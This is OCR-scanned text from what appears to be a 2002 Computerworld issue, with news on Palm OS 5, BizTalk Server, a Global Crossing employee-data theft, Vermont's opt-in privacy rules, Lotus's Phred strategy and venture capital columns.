Microsoft  Launches  New 
Version  of  BizTalk  Server 
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with  the  limited  information 
available,  it’s  hard  for  him  to 
determine  whether  the  Palm 
OS  5  will  be  equal  to  Windows 
CE.  He  said  the  operating  sys¬ 
tem  does  fix  what  he  considers 
“serious  holes”  in  the  older 
software,  including  security 
and  screen-size  limitations. 

Dulaney  also  wondered  if 
the  beta-test  announcement 
would  hurt  sales  of  existing  de¬ 
vices,  including  the  Palm  1705 
handheld  that  was  introduced 
last  month. 

Microsoft’s  mobility  group 
product  manager,  Ed  Suwanjin- 
dar,  said  the  Palm  aimoimce- 
ment  “could  be  a  case  of  too  lit¬ 
tle,  too  late.” 

“Fact  is,  we  built  the  Pocket 
PC  to  deliver  more,  and  Palm  is 
still  stuck  playing  catch-up,” 
said  Suwanjindar.  “We’ll  wait 
to  reserve  judgment  until  we 
see  their  new  OS  on  devices.” 

Mace  declined  to  comment 
on  when  new  hardware  would 
reach  the  market,  but  he  said 
PalmSource  expects  to  deliver 
the  operating  system  to  manu¬ 
facturers  and  developers  by 
the  summer.  I 


configuration  information,  test 
the  system  and  notify  the  auto¬ 
maker  that  it  was  ready  to  do 
business,  Wascha  explained. 

But  in  order  to  take  advan¬ 
tage  of  the  seed  technology, 
both  companies  must  use  Biz¬ 
Talk  Server,  Wascha  said. 

Other  new  features  include 
tight  integration  with  Micro¬ 
soft’s  Application  Center  and 
Operations  Manager  products 
and  its  Visual  Studio  .Net  de¬ 
velopment  tool,  which  launch¬ 
es  this  week. 

The  Visual  Studio  .Net  inte¬ 
gration  was  designed  to  let  de¬ 
velopers  use  BizTalk  compo¬ 
nents  in  the  Visual  Studio  .Net 
environment  and  turn  BizTalk 
business  processes  into  XML 
Web  services.  Microsoft  said 
Application  Center  has  been 
integrated  with  BizTalk  Server 
to  help  users  centrally  manage 
any  applications  that  use  Biz¬ 
Talk  Server.  Microsoft  Opera¬ 
tions  Manager  has  also  been 
integrated  with  the  product  to 
help  customers  do  event  moni¬ 
toring,  alerting,  reporting  and 
other  management  functions.  I 


Snap-on  has  the  best  tools 
for  diagnosing,  aligning,  and 
tightening  pretty  much  anything 

Like  say,  their  productivity. 


Cognos  —  the  business  intelligence  inside  the 
world's  most  intelligent  businesses. 
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Employee  Data 

Beverly  Hills,  Calif.,  where  the 
information  is  alleged  to  have 
been  stolen,  are  on  the  case. 

Global  Crossing  confirmed 
that  the  suspect  is  a  former  net¬ 
work  computing  technician  but 
declined  to  identify  him.  The 
company’s  attorney  said  that 
the  ex-worker  stole  a  hard  disk 
containing  the  personal  infor¬ 
mation  but  that  he  contended 
through  his  lawyer  that  the  in¬ 
formation  was  given  to  him. 

Attempts  to  serve  the  techni¬ 
cian  with  an  injunction  pre¬ 
venting  dissemination  of  the  in¬ 
formation  have  failed  because 
no  one  can  locate  him,  the 
Global  Crossing  attorney  said. 

“Since  last  September,  the 
individual  responsible  for  the 
alleged  theft  of  the  data  contin¬ 
ues  to  put  up  the  Web  site  on 
occasion,”  using  Internet  ser¬ 
vice  providers  not  yet  aware  of 
his  actions,  said  the  attorney, 
who  requested  that  her  name 
not  be  used  for  fear  of  retribu¬ 
tion  by  the  individual. 

“However,  as  soon  as  the  site 
is  posted,  it  is  taken  down 
again  by  Global  Crossing 
working  with  the  authorities 
and  ISPs,”  she  added.  But  “the 
law  is  just  not  there”  to  deal 
with  the  situation,  she  said. 

The  employees  whose  infor¬ 
mation  was  posted  “are  largely 
out  of  luck,”  said  David  Loun- 
dy,  associate  director  of  The 
John  Marshall  Law  School  in 
Chicago.  “You  could  try  to  say 
this  was  public  disclosure  of 
private  fact,  but  if  you  don’t 
have  damages,  then  do  you 
have  any  real  claim?” 

Troubles  Mounting 

The  revelation  of  the  securi¬ 
ty  breach  comes  at  a  difficult 
time  for  Global  Crossing.  It 
filed  for  bankruptcy  protection 
Jan.  28  and  is  facing  questions 
about  aggressive  accounting 
practices.  The  company,  whose 
stock  once  traded  at  a  peak  of 
more  than  $64  per  share,  has 
seen  its  fortunes  crumble  over 
the  past  two  years  and  was  re¬ 
cently  delisted  from  the  New 
York  Stock  Exchange.  It’s  cur¬ 
rently  being  investigated  by  the 
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U.S.  Securities  and  Exchange 
Commission. 

Global  Crossing’s  handling 
of  the  incident  has  been  harsh¬ 
ly  criticized  by  some  former  IT 
workers  who  say  the  company 
delayed  informing  employees. 

Though  the  breach  occurred 
in  early  September,  Global 
Crossing  waited  until  mid-De¬ 
cember  to  formally  inform  em¬ 
ployees.  And  it  still  hasn’t  taken 
any  steps  to  inform  former 
workers  whose  names  were  on 
the  compromised  list,  claimed 
Cynthia  Carter,  a  former  project 
manager  in  Global  Crossing’s 
information  security  group. 

“It  was  a  huge  compromise 
of  confidential  information,” 
Carter  said.  So  far,  “we  have 
not  been  officially  notified;  we 
have  not  heard  anything  yet 
from  Global  Crossing.”  She 
heard  about  the  breach  from 
former  co-workers. 

Global  Crossing’s  attorney 
defended  the  company’s  deci¬ 
sion  to  hold  off  on  informing 
employees,  claiming  that  the 
goal  was  to  prevent  the  rogue 


site  from  getting  publicity. 

Since  Global  Crossing  noti¬ 
fied  employees  in  December,  it 
has  been  working  to  address 
their  concerns,  a  spokes¬ 
woman  added.  The  company 
has  also  been  urging  employ¬ 
ees  to  contact  credit  bureaus 
for  a  fraud  alert  to  be  put  on 
their  accounts,  she  said. 

But  other  former  Global 
Crossing  IT  workers  blamed 
the  company  for  its  failure  to 
adhere  to  best  practices  in  se¬ 
curing  critical  employee  and 
customer  information. 

For  instance,  instead  of  en¬ 
suring  that  access  to  employee 
information  was  restricted  to 
relevant  staff,  all  software  de¬ 
velopers  always  had  full  “read” 
access  to  the  information,  said 
a  former  worker  who  said  he 
was  familiar  with  internal  se¬ 
curity  controls  and  processes 
at  Global  Crossing. 

Similarly,  the  customer  bill¬ 
ing  system  was  wide  open  to 
manipulation  by  a  large  num¬ 
ber  of  employees  who  should¬ 
n’t  have  had  access  to  that  in- 


could  try 
to  say  this  was 
public  disclosure 
of  private  fact, 
but  if  you  don’t 
have  damages, 
then  do  you  have 
any  real  claim? 

DAVID  LOUNDY, 

JOHN  MARSHALL  LAW  SCHOOL 

formation,  the  former  worker 
claimed.  In  both  instances,  rec¬ 
ommendations  were  made  to 
fix  the  problems,  but  no  action 
was  taken,  he  alleged. 

“It  was  a  question  of  exces¬ 
sive  access.  . . .  I’m  just  sur¬ 
prised  that  this  didn’t  happen 
before,”  the  former  worker  said. 


Concerns  about  the  situa¬ 
tion  had  been  previously 
raised,  said  another  former 
employee,  who  was  a  member 
of  Global  Crossing’s  IT  securi¬ 
ty  team.  “We  tried  to  deal  with 
some  of  these  issues,  but  we 
were  always  told  the  timing 
was  not  right  or  that  we  could¬ 
n’t  impact  users,”  the  former 
security  worker  said. 

The  Global  Crossing  spokes¬ 
woman  said  the  company  had 
taken  adequate  measures  to 
protect  critical  information.  “I 
think  it  is  very  difficult  to  pro¬ 
tect  against  an  IT  department 
employee  stealing  things  off 
computer  hard  drives,”  she 
said.  “This  particular  individ¬ 
ual  did  not  have  any  kind  of  le¬ 
gitimate  access  to  it,”  she  said, 
adding  that  people  who  were 
raising  questions  about  IT  se¬ 
curity  “are  just  pushing  their 
own  agendas.”  I 

Global  Crossing's  legal 
options  for  dealing  with 
its  former  employee  are 
limited.  See  the  story; 
www.compiiterworld.coin/q?27t02 
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Vermont 

tain  instances.  Financial  insti¬ 
tutions  in  the  U.S.  generally 
follow  the  federal  Gramm- 
Leach-Bliley  Act  of 1999,  which 
allows  the  opt-out  standard: 
Unless  the  customer  tells  a 
bank,  securities  firm  or  insurer 
not  to  share  data,  the  institu¬ 
tion  is  allowed  to  do  so. 

Now,  the  Vermont  privacy 
rules  mean  that  companies 
must  adapt  their  customer  sys¬ 
tems  to  recognize  the  Green 
Mountain  State’s  unique  regu¬ 
latory  provisions. 

“The  industry  can  just  as¬ 
sume  that  everybody  with  a 
Vermont  ZIP  code  has  opted 
out,”  said  Elizabeth  Costle,  com¬ 
missioner  of  the  state  Depart¬ 
ment  of  Banking,  Insurance,  Se¬ 
curities  and  Health  Care  Ad¬ 
ministration.  “That’s  the  easy 
way  to  fix  your  computers.” 

And  that’s  exactly  what  com¬ 
panies  might  do.  Instead  of 
adapting  systems  to  meet  the 
state’s  rules,  they  are  warning 
that  Vermont  residents  may  be 


excluded  from  the  kind  of  pro¬ 
motional  offers  and  informa¬ 
tion  that  data  sharing  allows. 

“It  would  be  a  long  time  be¬ 
fore  anyone  could  afford  to  put 
in  an  opt-in  system  that  would 
meet  the  goals  of  what  [Costle] 
laid  down,”  said  Stephen  Dur- 
kee,  privacy  implementation 
officer  at  Citigroup  Inc.  in  New 
York.  “So,  effectively,  every- 


Other  Potential 
‘Opt-in'  States 

Even  if  the  insurance  industry 
blocks  Vermont’s  law,  it  won’t 
end  the  privacy  debate. 

New  Mexico  is  considering 
similar  regulatory  action. 

Thirteen  states  —  Arkan¬ 
sas,  California,  Florida,  Ha¬ 
waii,  Illinois,  Iowa,  Massa¬ 
chusetts,  Minnesota,  Mis¬ 
souri,  North  Dakota,  New 
Hampshire,  New  Jersey  and 
New  York  —  have  pending 
opt-in  privacy  bills, 
according  to  the  Internet 
Alliance,  a  Washington- 
based  trade  group. 


body  in  that  state  will  have  to 
be  treated  as  if  they  opted  out.” 

Vermont’s  rules  illustrate  the 
limits  of  the  Gramm-Leach- 
Bliley  Act,  which  took  effect 
last  July,  and  underscore  corpo¬ 
rate  fears  that  states  may  adopt 
differing  data  privacy  rules,  in¬ 
creasing  compliance  costs.  The 
federal  law  didn’t  preempt  the 
ability  of  states  to  adopt 
tougher  privacy  standards. 

“I  think  Gramm-Leach- 
Bliley  very  specifically  said 
that  states  can  have  a  stricter 
standard,”  said  Costle.  “That’s 
fairly  unusual  in  legislation. 
We’re  not  going  against  [the 
law]  at  all;  we’re  specifically 
complying  with  it.” 

Most  notably,  Vermont’s 
standards  require  opt-in  for 
sharing  data  with  third  parties, 
vs.  opt-out  under  federal  law. 

Vermont’s  rules  are  a  broad¬ 
er  application  of  the  state’s  ex¬ 
isting  banking  privacy  laws 
and  not  the  result  of  legislative 
action.  Insurance  trade  groups 
filed  suit  Jan.  30  challenging 
Costle’s  authority  to  make 
those  changes,  which  take  ef¬ 
fect  Feb.  15. 

“The  feeling  is  that  the  com¬ 


mission  usurped  legislative  au¬ 
thority,”  said  Jack  Dolan,  a 
spokesman  for  the  Washing¬ 
ton-based  American  Council 
of  Life  Insurers,  one  of  the 
groups  involved  in  the  lawsuit. 

Opt-in  is  a  tougher  standard 
because  it  forces  companies  to 
sell  consumers  on  the  idea  of 
information-sharing.  It  also  re¬ 
quires  companies  to  develop 
systems  to  recognize  state  law 
variances  and  to  train  their  em¬ 
ployees.  In  contrast,  opt-out 
offers  are  usually  ignored;  only 
2%  to  3%  of  consumers  opted 
out  in  response  to  federally 
mandated  privacy  notices 
mailed  out  by  financial  ser¬ 
vices  firms  last  summer,  ac¬ 
cording  to  federal  and  industry 
sources. 

Costle  is  convinced  that  resi¬ 
dents  want  stronger  privacy 
protections  than  those  set  in 
federal  law.  “If  you  talk  to  the 
average  U.S.  citizen  or  Ver¬ 
monter,  they  want  their  infor¬ 
mation  protected,”  she  said.  I 

What  do  you  think? 
Post  your  opinion  in 
our  online  discussion 
forum: 

www.computerworid.coin/q?a1560 
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EC  Confirms  Closure 
Of  Intel  Investigation 

The  European  Commission  con¬ 
firmed  last  week  that  it  has  decided 
to  close  its  yearlong  antitrust  inves¬ 
tigation  of  Intel  Corp.  To  do  so,  the 
EC  must  first  inform  the  remaining 
complainant,  believed  to  be  rival 
chip  maker  Advanced  Micro  Devices 
Inc.  in  Sunnyvale,  Calif.  Another 
complaint,  believed  to  have  come 
from  Via  Technologies  Inc.  in  Taipei, 
Taiwan,  was  recently  withdrawn. 

Date  Set  for  Vote  on 
HP/Compaq  Merger 

Hewlett-Packard  Co.  said  last 
week  that  a  shareholder  meeting  to 
vote  on  its  proposed  merger  with 
Compaq  Computer  Corp.  will  take 
place  March  19.  HP  shareholders 
on  record  as  of  Jan.  28  will  be 
allowed  to  vote  on  the  deal  at  the 
meeting,  which  will  be  held  in 
Cupertino,  Calif. 

IT  Titans  Form  Web 
Services  Oiganization 

Aiming  to  speed  the  development 
and  deployment  of  Web  services, 
IBM,  Microsoft  Corp.,  HP,  Intel,  SAP 
AG,  BEA  Systems  Inc.  and  Accen¬ 
ture  Ltd.  last  week  formed  the  Web 
Services  Interoperability  Organiza¬ 
tion.  The  group  plans  to  create  im¬ 
plementation  tools  for  Web  services 
on  heterogeneous  platforms  and  to 
publish  a  road  map  for  future  Web 
services  development. 


Short  Takes 

AGILENT  TECHNOLOGIES  INC.  in 
Palo  Alto,  Calif.,  and  GREENWICH 
TECHNOLOGY  PARTNERS  INC.  in 
White  Plains,  N.Y.,  announced  an 
agreement  to  jointly  offer  network 
testing  services  to  large  enterprises. 
. . .  DELL  COMPUTER  CORP. 
launched  a  server  clustering  pro¬ 
gram  and  a  partnership  with  CRAY 
INC.  in  Seattle  to  strengthen  its  po¬ 
sition  among  vendors  selling  large 
groups  of  networked  computers. 


NEWSINDUSTRY 

Lotus  Gives  Glimpse 
Of  Its  ‘Phred’  Strategy 


Pervasive  collaboration  is  IBM's  goal 


BY  JENNIFER  DlSABATINO 

LTHOUGH  THEY 
hadn’t  yet  been 
told  the  code 
name,  users  at 
the  recent  Lotus- 
phere  conference  got  a  glimpse 
of  what’s  now  publicly  being 
referred  to  as  Phred  —  the 
new  technology  and  marketing 
strategy  from  IBM  and  its  Lo¬ 
tus  Software  Group  subsidiary. 

Described  as  an  “overarch¬ 
ing”  strategy,  Phred  is  essential¬ 
ly  the  way  Cambridge,  Mass.- 
based  Lotus  will  try  to  move  be¬ 
yond  e-mail  services  and  make 
its  collaboration  technology 
pervasive  throughout  IBM’s 
WebSphere  middleware  infra¬ 
structure  and  third-party  ven¬ 
dor  applications.  Those  appli¬ 
cations  include  supply  chain, 
enterprise  resource  planning 
(ERP)  and  customer  relation¬ 
ship  management  software. 

“We  are  at  a  pivotal  point  in 
our  market,  partly  because  the 
enterprise  e-mail  market  is  ap¬ 
proaching  maturity,”  said  Bev¬ 
erly  DeWitt,  senior  manager  of 
new  business  initiatives  and 
strategy  at  Lotus. 

“A  lot  of  things  are  just 
putting  demands  on  electronic 
collaboration,”  she  said,  citing 
changes  in  the  business  envi¬ 
ronment,  including  the  need  to 
cut  costs. 

Joining  the  Discussion 

From  a  technology  stand¬ 
point,  Phred  will  “modularize 
our  existing  products  to  en¬ 
able  a  developer  to  reuse  ob¬ 
jects  within  other  applica¬ 
tions,”  DeWitt  said.  From  a 
business  perspective,  it  allows 
Lotus  to  do  more  business 
with  service  providers,  who 
can  pick  and  choose  compo¬ 
nents  of  various  Lotus  prod¬ 
ucts  to  resell  as  services  to 
customers  or  to  provide  on  a 
rental  basis,  she  said. 

That’s  a  smart  move,  said 
Daniel  Rasmus,  an  analyst  at 


Giga  Information  Group  Inc., 
also  in  Cambridge.  “One  of  the 
problems  that  they  have  right 
now  —  and  that  the  collabora¬ 
tion  market  has  in  general  —  is 
that  a  lot  of  FRP  portals  have 
threaded  discussions,  and  Lo¬ 
tus  doesn’t  have  a  part  in  that 
right  now,”  Rasmus  said.  “Lotus 
is  being  aggressive  about  this, 
and  I  think  that’s  good.” 

Lotus  aims  to  convince  busi¬ 
ness  partners  such  as  People- 
Soft  Inc.  in  Pleasanton,  Calif., 


Duo's  specifications 
aimed  at  developers 

BY  TODD  R.  WEISS 

The  effort  to  integrate  speech 
recognition  technology  with 
Web-enabled  applications  for 
cell  phones  and  personal  digi¬ 
tal  assistants  got  a  boost  last 
week  with  the  announcement 
of  an  alliance  between  Micro¬ 
soft  Corp.  and  SpeechWorks 
International  Inc. 

The  companies  said  they’re 
creating  open  standards  to  be 
used  by  developers  to  build  ap¬ 
plications  that  will  tie  speech 
to  Web-enabled  programs,  in¬ 
cluding  Microsoft’s  Internet 
Explorer  browser,  using  Mi¬ 
crosoft’s  .Net  speech  platform. 
The  fmandal  terms  of  the  deal 
weren’t  released. 

Steve  Chambers,  vice  presi¬ 
dent  of  worldwide  marketing 
at  Boston-based  SpeechWorks, 
said  such  technologies  could 
cut  costs  and  save  time  for 
firms  that  provide  information 
to  users  over  the  Internet. 

For  example,  users  could 
surf  the  Web  using  voice 


SAP  AG  and  Siebel  Systems 
Inc.  in  San  Mateo,  Calif.,  that 
they  should  rely  upon  Lotus’ 
expertise  with  collaborative 
applications,  Rasmus  said. 
These  applications  would  re¬ 
place  informal  user  discussion 
threads,  he  explained. 

Lotus  has  in  fact  confirmed 
that  it’s  developing  the  ability 
to  link  its  software  to  applica¬ 
tions  from  those  vendors. 

Despite  the  fear  of  some  Lo- 
tusphere  attendees  that  Notes 
and  Domino  will  disappear  as 
interfaces  or  development  plat¬ 
forms,  those  applications  will 


prompts  rather  than  typing,  ul¬ 
timately  benefiting  businesses 
ranging  from  airlines  to  insur¬ 
ance  companies,  he  said.  “That 
you  can  navigate  with  your 
voice  makes  it  that  much 
speedier,”  Chambers  said. 

Technology  produced  by  the 
alliance  will  be  based  on  the 
Speech  Application  Language 
Tags  (SALT)  specification  be¬ 
ing  developed  by  the  SALT  Fo¬ 
rum,  an  industry  group  that  in¬ 
cludes  Microsoft,  Cisco  Sys¬ 
tems  Inc.  and  Intel  Corp. 

The  specification  will  be 
submitted  to  standards  groups 


Easy  interface 

New  open  standards  that 
would  allow  software  devel¬ 
opers  to  tie  speech  capabili¬ 
ties  to  Web-enabled  applica¬ 
tions  are  in  the  works. 

October  2001:  Development  of  the 
Speech  Application  Language  Tags 
specifications  began. 

Early  2002:  Beta  software  devel¬ 
oper’s  tool  kit  to  be  released. 

Late  2002:  Beta  development 
platform  release  slated. 


Microsoft  and  SjKechWbrks 
Team  on  Voice-to-M  Tools 
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AT  A  GLANCE 


Phred  Who? 

What  Phred  is  going  to  produce 
in  the  near  future: 

■  Merger  of  Lotus'  K-station  portal  into 
the  IBM  WebSphere  Portal  Server. 

WHEN:  May 

■  Java  Server  Pages  (JSP).  a  JSP  tag  li¬ 
brary  for  Domino  objects,  and  servlets.  All 
of  these  will  be  in  WebSphere  Developer, 
which  will  come  with  Domino  6. 

WHEN:  Third  quarter 

■  Partner  agreements  with  third-party  ven¬ 
dors  such  as  PeopleSoft,  SAP  and  Siebel. 
WHEN:  Ongoing 

continue  to  operate  indepen¬ 
dently  in  the  enterprise,  Ras¬ 
mus  said.  Users  will  be  able  to 
link  their  portals  to  their  mes¬ 
saging  systems,  like  Notes  and 
Lotus’  instant  messaging  prod¬ 
uct,  Sametime,  he  said.  I 


for  approval  upon  completion. 
Under  SALT,  developers  will 
be  able  to  integrate  speech 
functions  into  XML-  or  HTML- 
based  applications.  A  beta  ver¬ 
sion  of  the  specification  is  due 
out  by  the  end  of  this  year,  the 
companies  said. 

Chad  Robinson,  an  analyst  at 
Robert  Frances  Group  Inc.  in 
Westport,  Conn.,  said  the  cre¬ 
ation  of  speech-enabling  stan¬ 
dards  for  the  .Net  platform  will 
make  it  easier  to  meld  voice 
with  Internet-based  applica¬ 
tions.  But,  he  said,  wider  use  of 
such  products  is  still  in  ques¬ 
tion.  “This  is  going  to  be  the 
first  opportunity  to  do  some¬ 
thing  in  a  standardized  man¬ 
ner”  based  on  the  SALT  speci¬ 
fications,  Robinson  said.  “It’s  a 
little  hard  to  say  whether  this  is 
going  to  be  a  hot  item.” 

Dan  Miller,  an  analyst  at  The 
Kelsey  Group  in  Princeton,  N.J., 
said  the  Microsoft/Speech- 
Works  deal  could  provide  a 
real  boost  in  bringing  speech 
capabilities  to  Web  applica¬ 
tions,  because  it  will  provide 
additional  tools  to  the  approx¬ 
imately  6  million  developers 
who  are  using  Microsoft’s  Vi¬ 
sual  Studio  application  and  the 
company’s  .Net  standards. 

“What  Microsoft  is  really 
trying  to  do  is  to  encourage  a 
larger  development  communi¬ 
ty  to  start  thinking”  about  such 
possibilities.  Miller  said.  I 
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MARYFRAN  JOHNSON 


The  PoUyanna  Perspective 


My  colleague  on  the  other  side  of 

this  page,  Mr.  Fox,  believes  that  the 
modest  resurgence  in  venture  capi¬ 
tal  investments  may  ultimately  be 
undone  by  a  lousy  economy  and  the 
constriction  in  corporate  IT  spending.  Well,  call 
me  Pollyanna  (go  ahead,  take  your  life  in  your 
hands),  but  I  still  think  there’s  more  here  to  cheer 
than  worry  about. 


In  the  first  quarterly 
uptick  since  mid-2000, 
some  $7.1  billion  in  ven¬ 
ture  capital  money  poured 
into  new  companies,  ac¬ 
cording  to  Thomson  Fi¬ 
nancial’s  Venture  Eco¬ 
nomics  division  and  the 
National  Venture  Capital 
Association.  It  was  the  up¬ 
ward  direction  of  the 
fourth-quarter  invest¬ 
ments  that  mattered,  of 
course,  not  the  actual 
amount.  Venture  capital- 
ists  invested  only  $36.5  billion  in 
start-ups  last  year,  compared  with 
nearly  $100  billion  in  2000. 

Is  it  too  wistful  to  think  that  the 
light  at  the  end  of  the  tunnel  might  be 
sunshine  instead  of  another  train? 

And  why  should  you  care,  anyway? 

All  of  the  pundits  tell  us  that  IT 
spending  will  grow  by  an  anemic  3% 
to  4%  this  year,  and  they’re  probably 
off  by  their  usual  3%  to  4%  margin  of 
error.  Whatever  money  you  do  spend 
will  have  to  deliver  serious  cost  effi¬ 
ciencies,  measurable  ROI,  speedier 
integration,  infrastructure  improve¬ 
ments  or  a  demonstrably  better  cus¬ 
tomer  connection. 

So  even  Pollyanna  would  assume 
that  the  last  thing  you  need  right  now 
is  to  be  holding  hands  with  some  des¬ 
perate  little  start-up,  right?  That  was 
my  assumption,  too,  until  I  heard  oth¬ 
erwise  in  a  customer  panel  discussion 
I  moderated  recently.  This  panel  in¬ 
cluded  the  CIO  of  a  national  retailer, 
the  CTO  of  a  media  conglomerate,  the 
CTO  of  a  billion-dollar  enterprise 
software  vendor  and  a  vice  president 
of  operations  of  a  large  IT  services 
firm.  What  they  said  left  me  feeling 
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oddly  optimistic. 

All  these  executives 
have  seen  great  technolo¬ 
gy  fail  because  of  lousy 
execution,  immature 
management  or  unstable 
funding  sources.  All  of 
them  are  naturally  more 
cautious  about  spending 
these  days.  Yet  they  all 
are  still  working  with 
start-ups,  still  listening  to 
pitches  from  new  ven¬ 
tures,  still  exploring  inno¬ 
vative  ideas. 

“If  you  work  in  a  company  that’s  al¬ 
ways  put  a  lot  of  emphasis  on  watch¬ 
ing  how  you  spend  your  money, 
what’s  going  on  [in  today’s  economy] 
is  no  big  deal,”  the  retail  CIO  said. 
New  vendors  that  hope  to  score  with 
his  company  must  pass  through  a  se¬ 
ries  of  internal  IT  sanity  checks,  in¬ 
cluding  an  extensive  questionnaire 


applied  to  all  new  project  proposals, 

“The  real  challenge  for  new  ven¬ 
dors  is.  Are  you  doing  something  tru¬ 
ly  unique?”  the  CIO  added.  He  also 
wants  to  know  about  growth  poten¬ 
tial,  market  positioning  and  how  cur¬ 
rent  customers  are  treated.  And  yes, 
he  personally  checks  every  customer 
reference. 

The  media  company  CTO  talked 
about  his  focus  on  IT  projects  that 
centralize  or  share  resources,  inte¬ 
grate  business  functions  or  address 
classic  back-office  infrastructure 
woes.  “I  need  to  feel  confident  that 
the  vendor  will  focus  on  my  problem, 
that  they  understand  my  industry  in 
depth,”  he  said.  “I  also  really  like  to 
see  [start-ups]  who’ve  done  it  before, 
who  have  the  maturity  to  follow 
through.” 

The  IT  services  company  executive 
is  looking  ahead  two  years  to  the 
kinds  of  services  her  company  will 
need  in  a  recovered  economy.  She 
likes  to  get  in  on  the  early  stages  of 
new  technology  development,  making 
sure  the  product  is  tailored  specifical¬ 
ly  for  service  industry  clients. 

The  bottom  line  for  these  IT  deci¬ 
sion-makers  was  a  powerful  message 
to  vendors  of  all  vintages:  We’ll  take 
the  risk  if  you’ll  deliver  real  innova¬ 
tion.  In  the  long  run,  that  will  be  good 
news  for  everybody  who  hangs  in 
there  and  believes  in  better  times. 

Just  the  way  Pollyanna  did.  I 
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PIMM  FOX 

VC  Spending’s 
Strong;  Will  FT 
Money  Flow? 

Get  READY  to  open 

your  checkbooks,  be¬ 
cause  venture  capital¬ 
ists  are  back,  and  they’re  de¬ 
pending  on  IT  buyers  to  make 
their  investments  whole. 

Data  released  early  this  month  in  the 
PricewaterhouseCoopers/Venture 
Economics/National  Venture  Capital 
Association/ 

MoneyTree  Sur¬ 
vey  shows  that 
2001  wasn’t  the 
investment  bust 
many  expected. 

It  was  the  third- 
best  year  on 
record  for  ven¬ 
ture  spending, 
with  $36.5  billion 
going  to  3,900 
companies.  Of 
course,  com¬ 
pared  with  the  cash-crazy  investments 
in  2000  —  some  $99.6  billion  —  any 
amount  seems  puny. 

If  there’s  something  to  be  learned 
from  2001,  it’s  that  perspective  counts. 
“What  you’re  seeing  is  more  cautious 
investments  and  a  premium  being 
placed  on  companies  that  have  cus¬ 
tomer  traction  and  experienced  operat¬ 
ing  skills  rather  than  PowerPoint  pre¬ 
sentations,”  says  Joe  Aragon,  a  general 
partner  at  Austin  Ventures  LP  in  Austin, 
Texas.  Translation:  Companies  with 
seasoned  management  and  customers 
paying  real  money  get  the  attention  and 
cash  of  the  venture  capital  community. 

Software  still  garnered  the  largest 
share  of  venture  capital  in  the  fourth 
quarter  and  for  the  year.  The  segment 
received  $1.6  billion  out  of  a  total  $7.1 
billion  for  the  quarter  and  $6.8  billion 
out  of  $36.5  billion  for  the  year. 

Last  year,  telecommunications  netted 
$5.9  billion  ($982  million  in  the  fourth 
quarter),  networking  equipment  added 
$5.6  billion  ($988  million  in  that  quar¬ 
ter),  and  IT  services  booked  $2.6  billion 
($320  million  in  the  fourth  quarter). 

The  most  telling  numbers,  though. 
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are  found  comparing  last  year  against 
the  distortion  field  of  2000.  You  re¬ 
member  2000,  when  venture  capital¬ 
ists  lost  all  sense  of  reason  and  invest¬ 
ed  $16.9  billion  in  software  companies, 
$17.9  billion  in  telecommunications, 
$11.4  billion  in  networking  equipment 
firms  and  $8.8  billion  in  IT  services. 

Obviously,  venture  capitalists  are 
supposed  to  place  bets  on  future  tech¬ 
nologies  and  businesses,  and  most  ac¬ 
knowledge  that  they  invested  too  much 
during  the  hype  of  the  Internet.  But 
what  still  doesn’t  get  fully  addressed  is 
the  proposition  that  someone  at  some 
point  is  supposed  to  pay  for  these 
grandiose  dreams.  And  that  someone 
—  at  least  as  it  relates  to  bets  on  soft¬ 
ware,  networking,  telecommunications 
and  IT  services  —  is  you.  Even  if  the 
IPO  market  revives,  only  large-scale 
enterprise  spending  will  turn  venture 
capital  punts  into  solid  businesses. 

In  absolute  dollars,  “the  free-fall  is 
over,  and  we’ve  landed  safely  on  higher 
ground,”  says  Tracy  Lefteroff,  global 
managing  partner  of  the  venture  capi¬ 
tal  practice  at  PricewaterhouseCoop- 
ers.  But  there’s  still  a  bigger  question: 
Will  corporate  IT  spending  recover 
enough  to  indemnify  venture  capital 
investments? 

With  the  economy  still  stagnant,  if 
not  technically  in  a  recession,  IT  bud¬ 
gets  will  stay  crimped  and  new  spend¬ 
ing  circumspect.  That  situation  might 
make  last  year’s  investments  the  ven¬ 
ture  capitalists’  biggest  risks  yet.  I 

DAVID  MOSCHELLA 

Vendors  Send 
Feds  Wrong 
Message 

The  computer  Sys¬ 
tems  Policy  Project 
is  usually  well  worth 
listening  to.  The  CSPP  was 
established  in  1989  to  advance 

the  public  policy  views  of  a  select 
group  of  America’s  most  important 
computer  hardware  makers.  Its  current 
membership  consists  of  the  CEOs  of 
Compaq,  Dell,  EMC,  Hewlett-Packard, 
IBM,  Intel,  Motorola,  NCR  and  Unisys 
—  all  in  all,  a  pretty  worldly  bunch. 

That’s  why  I’m  still  shaking  my  head 
trying  to  figure  out  how  such  a  respect¬ 
ed  group  managed  to  produce  its  re¬ 
cent  white  paper,  “Building  the  Net¬ 
worked  World,”  a  troubling  plea  for  the 
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federal  government  to  devel¬ 
op  a  “10-year  vision  for  this 
nation’s  wired/wireless  in¬ 
frastructure.”  If  any  group  of 
companies  has  been  around 
long  enough  to  know  what  a 
bad  idea  this  is,  it’s  this  one. 

A  decade  ago,  when  many 
of  these  same  companies  felt 
threatened  by  the  giants  of 
Japan,  there  were  similar 
calls  for  a  national  IT  strate¬ 
gy.  Of  course,  back  then, 
hardly  anyone  had  heard  of 
the  Internet.  The  general  (and  wildly 
incorrect)  consensus  was  that  super¬ 
computers,  memory  chips  and  artificial 
intelligence  were  the  industry’s  biggest 
long-term  challenges.  Ironically,  if  in 
1992  the  federal  government  had  dared 
suggest  that  the  CSPP’s  members 
should  abandon  their  proprietary  net¬ 
work  architectures  and  use  the  fledg¬ 
ling  Internet  as  a  shared  industry  plat¬ 
form,  they  would  have  told  the  govern¬ 
ment  to  mind  its  own  business. 

The  CSPP  report  asserts  that,  given 
a  sufficiently  capable  network  infra¬ 


structure,  wonderful  new 
applications  will  emerge, 
but  that  without  strong 
government  leadership,  the 
U.S.  will  fall  behind  other 
nations.  The  problem  with 
this  position  is  that  the 
CSPP  fails  to  adequately 
distinguish  between  wired 
and  wireless  systems.  Be¬ 
cause  the  federal  govern¬ 
ment  is  responsible  for  al¬ 
locating  frequency  spec¬ 
trum,  it  clearly  must  be  a 
key  player  in  the  U.S.  wireless  industry. 
But  it’s  a  big  mistake  to  assume  that 
this  role  should  be  extended  into  the 
wired  side  of  the  business. 

The  reality  is  that  the  slow  adoption 
of  high-speed  networks  is  a  problem  of 
demand,  not  infrastructure.  High-speed 
Internet  access  is  already  available  to 
well  over  half  of  U.S.  homes,  but  be¬ 
cause  of  high  costs  and  a  lack  of  com¬ 
pelling  applications,  only  about  10%  of 
us  have  signed  up.  This  is  hardly  sur¬ 
prising.  Unless  you’re  online  a  great 
